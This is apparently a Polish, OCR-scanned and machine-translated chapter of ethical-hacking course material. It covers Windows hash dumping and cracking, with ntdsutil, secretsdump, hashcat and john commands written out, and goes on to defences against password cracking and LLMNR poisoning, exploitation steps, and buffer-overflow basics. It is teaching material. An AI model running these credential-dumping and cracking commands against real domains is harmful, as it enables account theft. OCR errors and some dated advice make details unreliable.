Do wyodrebnienia skréotow haset z systemu docelowego mozna uzyé nastepujgcych narzedzi:
pwdump?

pwdump7 to aplikacja, ktdra zrzuca skréty haset (funkcje jednokierunkowe lub OWF) z bazy danych NT
SAM, pwdump wyodrebnia skréty haset LM i NTLM lokalnych kont uzytkownikéw z bazy danych
Security Account Manager (SAM). Ta aplikacja lub narzedzie dziata poprzez wyodrebnienie binarnego
pliku SAM i SYSTEM z systemu plikdw, a nastepnie wyodrebnia skréty. Jedna z najpotezniejszych funkgji
pwdump7 jest mozliwos¢ zrzucania chronionych plikéw. Pwdump7 moze réwniez wyodrebnia¢ hasta
w trybie offline, wybierajgc pliki docelowe. Korzystanie z tego programu wymaga uprawnien
administracyjnych w systemie zdalnym. Jak pokazano na zrzucie ekranu, osoby atakujgce uzywaja tego
narzedzia do wyodrebniania skrotow haset z systemu docelowego.



B Administrator: Command Prompt —_— O X

Oto niektére z dodatkowych narzedzi do wyodrebniania skrétéw haset:

Mimikatz (https://github.com)

Imperium Powershell (https://github.com)

DSInternals PowerShell (https://github.com)

Ntdsxtract (https://github.com)

Uwaga: Korzystanie z powyzszych narzedzi wymaga uprawnien administratora w systemie zdalnym.
tamanie haset za pomocg narzedzia do kontroli haset domenowych (DPAT)

DPAT to skrypt Pythona, ktdry generuje statystyki uzycia haset na podstawie skrotéw haset zrzuconych
z kontrolera domeny (DC) oraz pliku do famania haset, takiego jak hashcat.pot, generowanego za
pomocy narzedzia hashcat podczas tamania haset. Generuje rowniez raport HTML z klikalnymi linkami.
Osoba atakujgca moze otworzy¢ kazde facze i przeanalizowac nazwy uzytkownikéw, aktualne hasta i
inne statystyki dotyczgce haset. Poczatkowo atakujgcy zrzuca pliki skrétéw LM i NT z kontrolera
domeny, korzystajac z naruszonych uprawnien administratora, po czym atakujgcy tamie te skréty LM i
taduje je do pliku listy haset za pomocg DPAT.

Kroki, aby ztama¢ hasta za pomocg DPAT

Krok 1: Uruchom nastepujgce polecenie, aby zrzucic skréty haset z kontrolera domeny (DC). Wymaga
to wystarczajacej ilosci miejsca na dysku C do przechowywania danych wyjsciowych.

,ntdsutil ,ac w ntds” ,,ifm” cr fu c:\temp” q

Krok 2: Zrzut zawiera dwa pliki, Active Directory\ntds.dit i register\SYSTEM. Teraz przekonwertuj
format pliku wyjsciowego na format akceptowany przez narzedzie DPAT, uzywajac skryptu Python
secretsdump.py:

secretsdump.py -system register/SYSTEM -ntds ,Active Directory/ntds.dit" LOKALNY -plik wyjSciowy
uzytkownikow

Ten skrypt przechowuje plik wyjsciowy w formacie users.ntds.

-history -> Te flage mozna uwzgledni¢ w powyzszym poleceniu, aby wyswietli¢ historie haset w
raporcie.



Krok 3: Utworz plik do tamania hasta w formacie obstugiwanym przez narzedzie DPAT. Narzedzie DPAT
obstuguje formaty plikdw narzedzi hashcat i John the Ripper. Uruchom nastepujgce polecenie, aby
ztamad skréty LM uzytkownikéw.ntds w formacie hashcat.pot:

./hashcat.bin -m 3000 -a 3 users.ntds -1 ?a ?1?1?1?1?1?1?1 - :increment
Aby ztamac skréty LM za pomocg Johna Rozpruwacza, uruchom nastepujace polecenie:
john --format=LM users.ntds

Krok 4: Teraz uruchom skrypt DPAT z argumentami -h lub --help, aby wyswietli¢ wszystkie dostepne
opcje.

Krok 5: Nastepnie wykonaj skrypt DPAT dpat.py z users.ntds i hashcat.pot jako wejscia.
dpat.py -n klient.ntds -c hashcat.pot

-n -> Reprezentuje skréty wyodrebnione z kontrolera domeny (DC)

-c -> Lista ztamanych haset wygenerowanych przy uzyciu narzedzia hashcat

Jak pokazano na zrzucie ekranu, dane wyjsciowe powyzszego polecenia to raport HTML z klikalnymi
opcjami, ktéry mozna otworzy¢ w domysinej przeglagdarce.

Count Description More Info
88803 Password Hashes Details
88023 Unique Password Hashes
69300 Passwords Discovered Through Cracking
68521 Unique Passwords Discovered Through Cracking
78.0 Percent of Passwords Cracked Details
778 Percent of Unique Passwords Cracked Details
36 Members of "Domain Admins" group Details
26 "Domain Admins" Passwords Cracked Details
8 Members of "Enterprise Admins" group Details
6 "Enterprise Admins" Passwords Cracked Details
227 LM Hashes (Non-blank)
226 Umgque LM Hashes (Non-blank)
6 Passwords Only Cracked via LM Hash Details
5 Unique LM Hashes Cracked Where NT Hash was Not Cracked
Password Length Stats Details
Top Password Use Stats Details
Password Reuse Stats Details
Password History Details




Krok 6: Teraz kliknij opcje Szczegoty, aby wyswietli¢ wiecej informacji o réznych hastach. Na przyktad
kliknij opcje Szczegdty obok Historii haset, aby wyswietli¢ historie wcze$niej uzywanych hasef, jak

pokazano na zrzucie ekranu.

Username | Current Password History 0 History 1 History 2 History 3 History 4
Carrie PringlesSalt! EatPringles I luv my kids! New Job!
Curly Baseball77 Baseball76 Baseball75 Baseball 74 Baseball73 Baseball72
Darin Black"Hulls Black%Hills | BlackSHills | Black=Hills Black@Hills | Black!Hills
Larry Fall2019 Summer2019 | Spring2019 Fall2018 Spring2018
Mo Zodiak-Cancer Zodiak-Taurus | Zodiak-Pisces
dpat Fall2019
pope Proverbs 3:5 Philippians 4:6 | Romans 8:28 | Philippians 4:13 | Jeremiah 29:11 [ John 3:16

Narzedzia do tamania haset

Narzedzia do tamania haset umozliwiajg resetowanie nieznanych lub utraconych haset lokalnego
administratora systemu Windows, administratora domeny i innych kont uzytkownikéow. W przypadku
zapomnienia hasta umozliwia nawet natychmiastowy dostep do zablokowanego komputera bez
koniecznosci ponownej instalacji systemu Windows. Atakujgcy mogg uzywac narzedzi do tamania haset
w celu ztamania haset systemu docelowego. Niektére narzedzia do tamania haset s3 wymienione
ponizej.

LOphtCrack

LOphtCrack to narzedzie przeznaczone do audytu haset i odzyskiwania aplikacji. Odzyskuje utracone
hasta Microsoft Windows za pomocg stownika, hybrydy, teczowej tabeli i atakdéw typu brute-force, a
takze sprawdza site hasta. Jak pokazano na zrzucie ekranu, osoby atakujgce wykorzystujg LOphtCrack
do ztamania hasta celu w celu uzyskania dostepu do systemu.

5 LophtCrack 7 - v7.2.0 Wins4 [Unnamed Session] * o >




ophrack

ophcrack to narzedzie do tamania haset systemu Windows, ktére wykorzystuje teczowe tabele do
tamania haset. Jest wyposazony w graficzny interfejs uzytkownika (GUI) i dziata w réznych systemach
operacyjnych, takich jak Windows, Linux/UNIX itp. Jak pokazano na zrzucie ekranu, osoby atakujgce
wykorzystujg ophcrack do przeprowadzania atakow typu brute-force i ztamac skroty haset systemu
docelowego.

@ ophcrack — ) X
YL & v e O @
load = Deete Save _ Tables Crack Help Exit About
Progress  Statistics  Preferences
User LM Hash NT Hash LM Pwd 1 LM Pwd 2 NT Pwd
Administrator 31D6CFEOD16A... empty
Guest 31d6cfe0d16ae9... empty
DefaultAccount 31dbcfeld16ae9... empty
Admin 92937945B5188... not found
Martin SEBETDFAD74D... apple
Jason 2D20D252A475F ., qwerty
Shiela 0CBGI48805F79... test
Table Status Preload Progress
v @ Vista free inactive 100% in RAM
@ tabled inactive 100% in RAM
@ tablel inactive 100% in RAM
& table2 inactive 100% in RAM
& table3 inactive 100% in RAM
Preload: done Brute force: done Pwd found: 87 Time elapsed: 0Oh 5m 425
RainbowcCrack

RainbowCrack tamie skréty za pomocg teczowych tabel, uzywajgc algorytmu kompromisu czas-pamiec.
Tradycyjny cracker brute-force famie haszysz w sposdéb inny niz ten, po ktérym nastepuje kompromis
w czasie i pamieci. Brute-force hash cracker prébuje wszystkich mozliwych tekstéw jawnych jeden po
drugim podczas famania. W przeciwienstwie do tego, RainbowCrack wstepnie oblicza wszystkie
mozliwe pary skrotow tekstu jawnego w wybranym algorytmie skrotu, zestawie znakéw i dtugosci
tekstu jawnego z wyprzedzeniem i przechowuje je w pliku ,,teczowej tabeli”. Wstepne obliczenie tabel
moze zajgc¢ duzo czasu, ale po zakonczeniu wstepnych obliczern mozliwe jest fatwe i szybkie ztamanie
tekstu zaszyfrowanego w teczowych tabelach. Jak pokazano na zrzucie ekranu, osoby atakujgce
wykorzystujg RainbowCrack do ztamania skrétéw haset docelowego systemu.



#5' RainbowCrack - O X
File Edit View Rainbow Table Help

Hash Plaintext Plaintext in Hex Comment
31d6cfe0d16ae931b73c59d7e0c089c0 Administrator
31d6cfe0d163e931b73¢59d720c089¢0 Guest

] 31d6¢cfe0d16ae931b73¢59d7e0c089¢0 DefaultAccount
92937945b518814341de 3726500441 <not found> <not found> Admin

/] 5ebe7dfal74dadee8aeflfaaZbbde8?6 apple 6170706c65 Martin
2d20d252a4791485cdf5e171d93985bf  qwernty 717765727479 Jason
0cb6948805f797bf2a82807973b89537  test 74657374 Shiela

< >
Messages

plaintext of 2d20d252a479f485cdfSe 171d93985bf is qwerty A
statistics

plaintext found 3 of4

total ime 11.05s

time of chain traverse 411s

time of alarm check 677s

time of disk read 064s

hash & reduce calculation of chain traverse: 11510400
hash & reduce calculation of alarm check: 34352770

number of alarm 55343
performance of chain traverse 2.80 million/s
performance of alarm check 5.08 million/s

Niektére narzedzia do tamania haset sg wymienione w nastepujacy sposdb:
Jan Rozpruwacz (https://www.openwall.com)

hashcat ( https://hoshcot.net )

THC-Hydra (https://github.com)

Meduza ( http://foofus.net)

Secure Shell Bruteforcer (https://github.com)

Solenie hasta

Solenie hasta to technika polegajgca na dodawaniu losowych ciggéw znakdéw do hasta przed
obliczeniem skrétéw. Utrudnia to odwrécenie skrétéw i pomaga w pokonaniu wstepnie obliczonych
atakow haszujgcych. Im dtuzszy losowy cigg znakdw, tym trudniej jest ztamad lub ztamac hasto. Losowy
cigg znakdéw powinien by¢ kombinacjg znakdw alfanumerycznych. W kryptografii ,sél” sktada sie z
losowych bitéw danych uzywanych jako dane wejsciowe do funkcji jednokierunkowej, a drugi to hasto.
Zamiast haset dane wyjsciowe funkcji jednokierunkowej mogg by¢ przechowywane i uzywane do
uwierzytelniania uzytkownikdw. Sél faczy sie z hastem za pomocg funkcji wyprowadzania klucza, aby
wygenerowac klucz do uzycia z szyfrem lub innym algorytmem kryptograficznym. Ta technika generuje
rozne skroéty dla tego samego hasta, co utrudnia ztamanie hasta.

Uwaga: Skréty haset systemu Windows nie sg solone.
Jak bronic¢ sie przed tamaniem haset
Najlepsze praktyki ochrony przed tamaniem haset sg nastepujace:

* Witacz audyt bezpieczenstwa informacji w celu monitorowania i $ledzenia atakdw na hasta.



* Nie uzywaj tego samego hasta podczas zmiany hasta.

* Ogranicz uzywanie podobnych haset i wzorcéw dla wielu kont.

* Nie udostepniaj haset.

* Nie uzywaj haset, ktére mozna znalez¢ w stowniku.

* Nie uzywaj protokotdow zwyktego tekstu ani protokotéw o stabym szyfrowaniu.
* Ustaw zasady zmiany hasta na 30 dni.

* Unikaj przechowywania haset w niezabezpieczonym miejscu.

* Nie uzywaj zadnych domysinych haset systemowych.

* Spraw, aby hasta byty trudne do odgadniecia, uzywajac 8-12 znakdéw alfanumerycznych, z kombinacja
wielkich i matych liter, cyfr i symboli. Dzieje sie tak, poniewaz silniejsze hasta sg trudniejsze do
ztamania. Dlatego im bardziej ztozone hasto, tym mniej podatne na ataki.

* Upewnij sie, ze aplikacje nie przechowujg haset w pamieci ani nie zapisujg ich na dysku w postaci
zwyktego tekstu. Hasta sg zawsze narazone na kradziez, jesli sy przechowywane w pamieci. Gdy hasto
jest znane, hakerom niezwykle tatwo jest eskalowaé swoje uprawnienia w aplikacji.

* Uzyj losowego ciggu (sol) jako przedrostka lub sufiksu hasta przed wykonaniem szyfrowania. To
uniewaznia wstepne obliczenia i zapamietywanie. Poniewaz sdl jest zwykle inna dla kazdej osoby,
osoby atakujgce niepraktycznie konstruujg tabele z pojedynczg zaszyfrowang wersjg kazdego
kandydujacego hasta. Systemy uniksowe zwykle uzywajg zestawu 12-bitowego.

* Witgcz SYSKEY z silnym hastem, aby zaszyfrowad i chroni¢ baze danych Security Account Manager
(SAM). Zwykle informacje o hastach do kont uzytkownikow sg przechowywane w bazie danych SAM.
Oprogramowaniu do tamania haset bardzo tatwo jest kierowac baze danych SAM w celu uzyskania
dostepu do haset. SYSKEY chroni informacje o hastach przechowywane w bazie danych SAM przed
oprogramowaniem do tamania haset za pomocg silnych technik szyfrowania. Zaszyfrowane hasta sg
trudniejsze do ztamania niz niezaszyfrowane.

* Nigdy nie uzywaj danych osobowych (np. daty urodzenia, imienia wspdtmatzonka, dziecka lub
zwierzaka) do tworzenia haset. W przeciwnym razie osobom bliskim uzytkownika tatwo jest ztamac
hasta uzytkownika.

* Monitoruj dzienniki serwera pod katem atakéw brute-force na konta uzytkownikéw. Chociaz ataki
typu brute-force sg trudne do powstrzymania, mozna je tatwo wykryé, monitorujgc dziennik serwera
WWW. W przypadku kazdej nieudanej proby logowania w dziennikach serwera WWW zapisywany jest
kod stanu HTTP 401.

* Konta blokowane, ktére zostaty poddane nadmiernej liczbie nieprawidtowych odgadnie¢ hasta.
Zapewnia to ochrone przed atakami typu brute-force i zgadywania.

* Wiele snifferéw haset moze odnies¢ sukces, jesli uzywany jest menedzer sieci LAN i uwierzytelnianie
NTLM. Wytacz LAN Manager i protokoty uwierzytelniania NTLM dopiero po upewnieniu sie, ze nie
wptynie to na siec.

* Przeprowadz okresowy audyt haset w organizacji.

* Sprawdz kazda podejrzang aplikacje, ktdra przechowuje hasta w pamieci lub zapisuje je na dysk.



* Systemy bez poprawek mogg resetowacé hasta podczas przepetnienia bufora lub atakéw typu
,odmowa ustugi” (DoS). Upewnij sie, ze system jest zaktualizowany.

* Sprawdz, czy konto jest uzywane, usuniete lub wytgczone. Wytagcz konto uzytkownika, jesli zostanie
wykrytych wiele nieudanych préb logowania.

* Wiacz blokade konta z okreslong liczbg préb, czasem licznika i czasem trwania blokady.

* Jednym z najskuteczniejszych sposobdw zarzgdzania hastami w organizacjach jest ustawienie
automatycznego resetowania hasta.

* Zabezpiecz system BIOS hastem, szczegdlnie na urzadzeniach podatnych na fizyczne zagrozenia,
takich jak serwery i laptopy.

* Szkol pracownikow, aby udaremniali taktyki socjotechniczne, takie jak surfowanie po barkach i
nurkowanie w $mietnikach, ktére sg wykorzystywane do kradziezy danych uwierzytelniajgcych
uzytkownikdéw.

* Skonfiguruj zasady haset w obiekcie zasad grupy w systemie Windows.

* Przeprowadzaj sprawdzanie hasta podczas tworzenia nowych haset, aby unikngé uzywania
powszechnych haset.

* Uzyj uwierzytelniania dwusktadnikowego lub wielosktadnikowego; na przyktad uzyj CAPTCHA, aby
zapobiec automatycznym atakom na krytyczne systemy informacyjne.

* Zabezpiecz i kontroluj fizyczny dostep do systemoéw, aby zapobiec atakom na hasta w trybie offline.

* Upewnij sie, ze pliki bazy danych haset sg zaszyfrowane i dostepne tylko dla administratoréw
systemu.

* Zamaskuj wyswietlanie haset na ekranie, aby unikng¢ atakéw surfowania po ramieniu.
* Wykonuj ciggtg analize zachowan uzytkownikéw i analize martwych punktow.

* Zastosuj konta blokady geograficznej, aby uniemozliwi¢ uzytkownikom logowanie sie z réznych
lokalizacji lub adreséw IP.

* Korzystaj z programoéw, ktére monitorujg sie¢ pod katem wyciekdéw haset. Sprawdz, czy hasta, ktore
wyciekty, sg w uzyciu; jesli tak, zmien je bezzwtocznie.

* Zmien nazwe kont z wysokimi uprawnieniami, takich jak konta administratora, aby chronic sie przed
automatycznymi programami do odgadywania haset.

Jak broni¢ sie przed zatruciem LLMNR/NBT-NS

Najtatwiejszym sposobem zabezpieczenia systemu przed atakiem sprawcy jest wytgczenie zaréwno
ustug LMNR, jak i NBT-NS w systemie operacyjnym Windows. Atakujgcy wykorzystujg te ustugi, aby
uzyska¢ dane uwierzytelniajgce uzytkownika i uzyskaé nieautoryzowany dostep do systemu
uzytkownika. Kroki, aby wytgczy¢ LLMNR/NBT-NS w dowolnej wersji systemu Windows:

Wytaczanie LMBNR
-Otworz Edytor lokalnych zasad grupy.

-Przejdz do Zasady komputera lokalnego -> Konfiguracja komputera -> Administracyjne Szablony ->
Sie¢ -> Klient DNS.



- W kliencie DNS kliknij dwukrotnie opcje Wytgcz rozpoznawanie nazw multiemisji.
- Wybierz przycisk radiowy Wtgczone, a nastepnie kliknij OK.
Wytaczanie NBT-NS

* Otworz Panel sterowania, przejdz do Siec i Internet -> Centrum sieci i udostepniania i kliknij opcje
Zmien ustawienia adaptera po prawej stronie.

* Kliknij prawym przyciskiem myszy karte sieciowa, a nastepnie kliknij Wtasciwosci, wybierz TCP/IPv4,
a nastepnie kliknij Wtasciwosci.

* Na karcie Ogodlne przejdz do Zaawansowane -> WINS.

* W opcjach ustawien NetBIOS zaznacz przycisk radiowy , Wytgcz NetBIOS przez TCP/IP” i kliknij OK.
Niektore dodatkowe $rodki zaradcze w celu obrony przed zatruciem LLMNR / NBT-NS sg nastepujace:
- Kontroluj ruch LLMNR, NBT-NS i mDNS za pomoca narzedzi bezpieczenstwa opartych na hoscie.

- Zaimplementuj podpisywanie SMB, aby zapobiec atakom przekazujgcym.

- Wdréz narzedzie do monitorowania spoofingu LLMNR/NBT-NS.

- Monitoruj hosta na portach UDP 5355 i 137 pod katem ruchu LLMNR i NBT-NS.

- Monitoruj okreslone identyfikatory zdarzen, takie jak 4697 i 7045, ktére moga wskazywac na ataki
przekaznikowe.

- Monitoruj wszelkie zmiany dokonane w rejestrze DWORD znajdujgcym sie w
HKLM\Software\Policies\Microsoft\Windows NT\DNSClient.
Narzedzia do wykrywania zatru¢ LLMNR/NBT-NS

Administratorzy sieci i specjalisci ds. cyberbezpieczenstwa uzywajg narzedzi takich jak Vindicate,
gotresponded i Respounder do wykrywania atakéw typu poisoning LLMNR/NBT-NS.

Vindicate

Vindicate to zestaw narzedzi do wykrywania spoofingu LLMNR/NBNS/mDNS dla administratorow sieci.
Specjalisci ds. bezpieczenstwa uzywajg tego narzedzia do wykrywania fatszowania ustug nazw. To
narzedzie pomaga im szybko wykrywac i izolowac¢ osoby atakujgce w ich sieci. Jest przeznaczony do
wykrywania uzycia narzedzi hakerskich, takich jak Responder, Inveigh, NBNSpoof i spooferéw LLMNR,
NBNS i mDNS firmy Metasploit, przy jednoczesnym unikaniu fatszywych trafien. Wykorzystuje dziennik
zdarzen systemu Windows do szybkiej integracji z siecig Active Directory.

Respounder

Respounder wykrywa obecnos¢ respondenta w sieci. Specjalisci ds. bezpieczenstwa uzywaja tego
narzedzia do identyfikowania zaatakowanych maszyn, zanim hakerzy wykorzystajg skréty haset. To
narzedzie pomaga rdéwniez specjalistom ds. bezpieczedstwa wykrywaé nieuczciwe hosty
uruchamiajgce odpowiedzi w publicznych sieciach Wi-Fi, np. na lotniskach i w kawiarniach, oraz unikac
taczenia sie z takimi sieciami otrzymatem odpowiedz



got-responded pomaga specjalistom ds. bezpieczeristwa sprawdza¢ podszywanie sie pod LLMNR/NBT-
NS. To narzedzie uruchamia sie w trybie domysinym i sprawdza pod katem fatszowania zaréwno
LLMNR, jak i NBT-NS, ale nie wysyta fatszywych poswiadczerh SMB.

Wykorzystanie luk w zabezpieczeniach

Wykorzystanie luk obejmuje wykonanie wielu ztozonych, powigzanych ze sobg krokéw w celu
uzyskania dostepu do zdalnego systemu. Atakujacy mogg wykorzystac exploita dopiero po wykryciu
luk w systemie docelowym. Atakujgcy wykorzystujag wykryte luki w zabezpieczeniach do
opracowywania exploitdw oraz dostarczania i wykonywania exploitéw w systemie zdalnym. Kroki
zwigzane z wykorzystaniem luk w zabezpieczeniach:

1. Zidentyfikuj luke w zabezpieczeniach

Atakujacy identyfikujg luki w systemie docelowym za pomocg rdéinych technik omdéwionych w
poprzednich modutach. Techniki te obejmujg odciski palcéw i rekonesans, skanowanie, wyliczanie i
analize podatnosci na zagrozenia. Po zidentyfikowaniu uzywanych systemow operacyjnych i podatnych
na ataki ustug dziatajgcych w systemie docelowym, osoby atakujgce wykorzystujg réwniez rdézne
witryny wykorzystujgce luki w Internecie, takie jak Exploit Database (https://www.exploit-db.com) i
Packet Storm (https://packetstormsecurity.com). do wykrywania luk w bazowych systemach
operacyjnych i aplikacjach.

2. Okresl ryzyko zwigzane z lukg w zabezpieczeniach

Po zidentyfikowaniu luki atakujgcy okreslajg ryzyko zwigzane z luka, tj. czy wykorzystanie tej luki
podtrzymuje $rodki bezpieczeristwa w systemie docelowym.

3. Okresl mozliwosci luki w zabezpieczeniach

Jesli ryzyko jest niskie, osoby atakujgce mogg okresli¢ mozliwosci wykorzystania tej luki w celu
uzyskania zdalnego dostepu do systemu docelowego.

4. Opracuj exploit

Po okresleniu mozliwosci luki w zabezpieczeniach osoby atakujace wykorzystujg exploity z
internetowych witryn wykorzystujgcych exploity, takich jak Exploit Database (https://www.exploit-
db.com), lub opracowujg wtasne exploity za pomocg narzedzi wykorzystujgcych exploity, takich jak
Metasploit.

5. Wybierz metode dostawy — lokalng lub zdalng

Atakujacy przeprowadzajg zdalng eksploatacje przez sie¢ w celu wykorzystania luki w systemie zdalnym
w celu uzyskania dostepu do powtoki. Jesli osoby atakujgce majg wczesniejszy dostep do systemu,
przeprowadzajg lokalng eksploatacje w celu eskalacji uprawnien lub uruchamiania aplikacji w systemie
docelowym.

6. Wygeneruj i dostarcz tadunek

Atakujacy w ramach exploita generujg lub wybierajg ztosliwe tadunki za pomoca narzedzi takich jak
Metasploit i dostarczajg je do zdalnego systemu za pomocg socjotechniki lub za posrednictwem sieci.
Atakujgcy wstrzykujg ztosliwy kod powtoki do tadunkéw, ktdry po wykonaniu ustanawia zdalng
powtoke do systemu arget.

7. Uzyskaj zdalny dostep



Po wygenerowaniu tadunku atakujgcy uruchamiajg exploita, aby uzyska¢ zdalny dostep powtoki do
systemu docelowego. Teraz osoby atakujgce mogg uruchamiac rézne ztosliwe polecenia w powtoce
zdalnej i kontrolowac system.

Witryny wykorzystujace luki w zabezpieczeniach

Atakujacy mogg korzystac z réznych witryn z exploitami, takich jak Exploit Database, VulDB itp., aby
wykrywac luki w zabezpieczeniach i pobierac lub opracowywac exploity w celu zdalnego wykorzystania
w systemie docelowym. Witryny te zawierajg szczegétowe informacje na temat najnowszych luk w
zabezpieczeniach i exploitéw.

Baza danych exploitow

Exploit Database zawiera szczegdétowe informacje na temat najnowszych luk w zabezpieczeniach
réznych systemow operacyjnych, urzadzen, aplikacji itp. Atakujacy mogg przeszukiwaé baze Exploit
Database w celu wykrycia luk w systemie docelowym, pobraé exploity z bazy danych i uzy¢ narzedzi
eksploatacyjnych, takich jak Metasploit, aby uzyskac zdalny dostep .

VulDB

VulDB zawiera szczegdtowe informacje o najnowszych lukach w zabezpieczeniach i exploitach,
ocenianych na podstawie najwyziszego prawdopodobienstwa wykorzystania. Atakujgcy moga
przeszukiwaé VulDB w celu zidentyfikowania luk w zabezpieczeniach i wykorzystania ich, a nawet w
petni zautomatyzowad wykorzystanie.

Vulners.com

Vulners.com to baza danych bezpieczenstwa zawierajgca opisy duzej liczby luk w oprogramowaniu w
formacie do odczytu maszynowego. Odsytacze miedzy biuletynami i stale aktualizowanymi bazami
danych pomagajg by¢ na biezgco z najnowszymi zagrozeniami bezpieczenstwa.

MITRA CVE

MITER utrzymuje baze danych CVE, ktéra zawiera szczegdétowe informacje o najnowszych lukach w
zabezpieczeniach. Atakujgcy mogg przeszukiwa¢ MITRE CVE, aby odkry¢ luki w zabezpieczeniach
systemu docelowego.

Przepetnienie bufora

Bufor to obszar sgsiednich lokalizacji pamieci przydzielony programowi lub aplikacji w celu obstugi jego
danych w czasie wykonywania. Przepetnienie lub przepetnienie bufora to powszechna luka w
aplikacjach lub programach, ktére akceptujg wiecej danych niz przydzielony bufor. Ta luka umozliwia
aplikacji przekroczenie bufora podczas zapisywania danych w buforze i zastgpienie sasiednich
lokalizacji pamieci. Ponadto luka ta prowadzi do nieprawidtowego zachowania systemu, awarii
systemu, btedéw dostepu do pamieci itp. Atakujacy wykorzystujg luke w zabezpieczeniach
przepetnienia bufora, aby wstrzykngé¢ ztosliwy kod do bufora w celu uszkodzenia plikéw,
zmodyfikowania danych programu, uzyskania dostepu do krytycznych informacji, eskalacji uprawnien,
uzyskania dostepu do powtoki, i tak dale;j.

Dlaczego programy i aplikacje sg podatne na przepetnienie bufora?

* Kontrole graniczne nie sg przeprowadzane w catosci lub w wiekszosci przypadkéw catkowicie
pomijane

* Aplikacje korzystajgce ze starszych wersji jezykdw programowania zawierajg kilka luk



* Programy korzystajgce z niebezpiecznych i wrazliwych funkcji nie sprawdzajg rozmiaru bufora
* Programy i aplikacje, ktdre nie przestrzegajg dobrych praktyk programistycznych

* Programisci, ktérzy nie ustawiajg odpowiednich zasad filtrowania i sprawdzania poprawnosci w
aplikacjach

* Systemy wykonujgce kod obecny w segmencie stosu sg podatne na przepetnienie bufora

* Niewtfasciwa alokacja pamieci i niewystarczajgca sanityzacja danych wejsciowych w aplikacji
prowadzg do ataku przepetnienia bufora

* Programy uzytkowe, ktére uzywajg wskaznikéw do uzyskiwania dostepu do pamieci sterty, generujg
bufor przelewowy

Rodzaje przepetnienia bufora

Istniejg dwa rodzaje przepetnienia bufora, a mianowicie przepetnienie bufora oparte na stosie i
przepetnienie bufora oparte na stercie.

Przepetnienie bufora oparte na stosie

W wiekszosci aplikacji do statycznej alokacji pamieci uzywany jest stos. Ciggte bloki pamieci sg
przydzielane dla stosu do przechowywania zmiennych tymczasowych utworzonych przez funkcje. Stos
przechowuje zmienne w kolejnosci ,,ostatnie weszto, pierwsze wyszto” (LIFO). Za kazdym razem, gdy
funkcja jest wywotywana, pamie¢ wymagana do przechowywania zmiennych jest deklarowana na
stosie, a gdy funkcja powraca, pamiec jest automatycznie zwalniana. Istniejg dwie operacje na stosie,
a mianowicie PUSH, ktéra przechowuje dane na stosie, oraz POP, ktdra usuwa dane ze stosu.

Pamiec stosu obejmuje piec¢ typow rejestrow:

o EBP: Extended Base Pointer (EBP), znany rowniez jako StackBase, przechowuje adres pierwszego
elementu danych przechowywanego na stosie

o ESP: Extended Stack Pointer (ESP) przechowuje adres nastepnego elementu danych, ktory ma by¢
przechowywany na stosie

o EIP: Rozszerzony wskaznik instrukcji (EIP) przechowuje adres nastepne;j instrukcji do wykonania
o ESI: Extended Source Index (ESI) utrzymuje indeks Zzrédtowy dla réznych operacji na taricuchach

o EDI: Extended Destination Index (EDI) utrzymuje indeks miejsca docelowego dla réznych operacji na
taricuchach

Przepetnienie bufora oparte na stosie wystepuje, gdy aplikacja zapisuje w buforze wiecej danych niz
jest faktycznie przydzielonych dla tego bufora. Aby zrozumieé przepetnienie bufora oparte na stosie,
nalezy skupic sie na rejestrach EBP, EIP i ESP. EIP jest najwazniejszym rejestrem tylko do odczytu, w
ktdrym przechowywany jest adres instrukcji, ktéra ma by¢ nastepnie wykonana. Za kazdym razem, gdy
funkcja rozpoczyna wykonywanie, ramka stosu, w ktérej przechowywane s3 jej informacje, jest
umieszczana na stosie i zapisywana w rejestrze ESP. Gdy funkcja powraca, ramka stosu jest usuwana
ze stosu, a wykonywanie jest wznawiane od adresu powrotu zapisanego w rejestrze EIP. Dlatego jesli
aplikacja lub program jest podatny na atak przepetnienia bufora, atakujgcy przejmujg kontrole nad
rejestrem EIP, aby zastgpi¢ adres zwrotny funkcji ztosliwym kodem, ktéry umozliwia im uzyskanie
dostepu do powtoki systemu docelowego.

Przepetnienie bufora oparte na stercie



Sterta stuzy do dynamicznej alokacji pamieci. Pamie¢ sterty jest dynamicznie przydzielana w czasie
wykonywania programu i przechowuje dane programu. Dostep do pamieci sterty jest wolniejszy niz
dostep do pamieci stosu. Alokacja i zwalnianie pamieci sterty nie jest wykonywane automatycznie.
Programisci muszg napisac¢ kod do przydziatu [malloc()] pamieci sterty, a po zakoriczeniu wykonywania
muszg zwolni¢ pamieé¢ za pomoca funkcji takich jak free(). Przepetnienie sterty wystepuje, gdy blok
pamieci jest przydzielony do sterty, a dane sg zapisywane bez sprawdzania powigzan. Ta luka w
zabezpieczeniach prowadzi do nadpisania linkéw do dynamicznej alokacji pamieci (dynamicznych
wskaznikow obiektow), nagtéwkow sterty, danych opartych na stercie, wirtualnych tabel funkc;ji itp.
Atakujacy wykorzystujg przepetnienie bufora oparte na stercie, aby przejg¢ kontrole nad
wykonywaniem programu. Przepetnienia bufora czesto wystepuja w przestrzeni pamieci sterty, a
wykorzystanie tych btedéw rézni sie od przepetnien bufora opartych na stosie. Przepetnienia sterty
zostaty wykryte jako btedy w zabezpieczeniach oprogramowania. W przeciwienstwie do przepetnien
stosu, przepetnienia sterty sg niespéjne i majg rézne techniki wykorzystania.

Wykorzystanie przepetnienia bufora systemu Windows

Wykorzystanie luki w zabezpieczeniach systemu Windows zwigzanej z przepetnieniem bufora
obejmuje nastepujace kroki:

- Wykonaj whbijanie
- Wykonaj fuzzing
- Zidentyfikuj przesuniecie
- Nadpisz rejestr EIP
- Zidentyfikuj zte postacie
- Zidentyfikuj wtasciwy modut
- Wygeneruj kod powtoki
- Uzyskaj dostep do konta root

Przed wykonaniem ponizszych krokdéw nalezy zainstalowad i uruchomic¢ podatny serwer na maszynie
ofiary, nastepnie uruchomi¢ Immunity Debugger, a na korficu podtaczy¢ podatny serwer do debuggera.

Spiking

Spiking umozliwia atakujgcym wysytanie spreparowanych pakietéw TCP lub UDP do podatnego
serwera w celu spowodowania jego awarii. Pomaga atakujgcym identyfikowaé luki w zabezpieczeniach
aplikacji docelowych zwigzane z przepetnieniem bufora. Nastepujace kroki sg zaangazowane w
wybijanie:

Krok - 1: Ustandéw pofaczenie z serwerem z podatnoscig na ataki za pomocy Netcat Jak pokazano na
ponizszym zrzucie ekranu, mozesz uzy¢ nastepujacego polecenia Netcat, aby nawigzac potaczenie z
docelowym serwerem z podatnoscig na ataki i zidentyfikowaé ustugi lub funkcje udostepniane przez
serwer.

nc -nv <Docelowy adres IP> <Port docelowy>



Krok - 2: Wygeneruj szablony spajkéw i wykonaj wzbogacanie

